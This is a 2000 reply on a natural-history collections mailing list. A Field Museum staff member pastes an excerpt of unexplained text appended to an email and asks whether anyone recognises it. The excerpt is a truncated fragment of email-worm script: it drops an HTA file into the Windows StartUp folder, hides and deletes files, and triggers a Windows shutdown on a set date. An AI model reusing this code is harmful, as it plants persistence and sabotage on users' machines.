[NHCOLL-L:532] RE: Virus warning about e-mail to this group

[Margaret K. Thayer]

My Norton Anti-virus didn't detect anything amiss with the cited message,
which had no attached file with it.  My mailer (Eudora Light 3.0.6),
however, incorporated some gobbledy-gook into the end of the message, after
the signature.  I initially took that to be an embedded uuencoded file, but
when I looked at it more closely in response to Gary Noonan's message, I
found that wasn't the case.  

Here's an excerpt of that stuff (just plain text) in case anyone recognizes
what it is:
');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.re
g');d=new Date();if(d.getDate()==1 &&
d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today
!');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();S3 driver
memory alloc failed
!]]%%%%%";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.l
anguage;scr.Path=(la=="fr")?"C:\\windows\\Menu
Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start
Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if((
(agt.indexOf("msie")!=-      ...(2 or 3 times as much more of similar stuff)

At 03:37 PM 19-04-2000 -0400, you wrote:
>My version of this notice did NOT have an attachment ABOVE the title line.
>Are you certain that when it was sent to NHCOLL members that it had an
>attachment to it ?
>
>Could others respond and indicate whether they have an attachment to this
>NHCOLL announcement ?
>
>Thanks. Quite concerned, Bobbie
>
>Roberta Faul-Zeitler
>Executive Director
>Association of Systematics Collections
>



Margaret K. Thayer      mthayer at fmnh.org     http://www.fmnh.org
Zoology--Insects        
Field Museum of Natural History
1400 South Lake Shore Drive
Chicago IL 60605-2496, USA        
PHONE: 312-665-7741 (direct-dial) 
FAX: 312-665-7754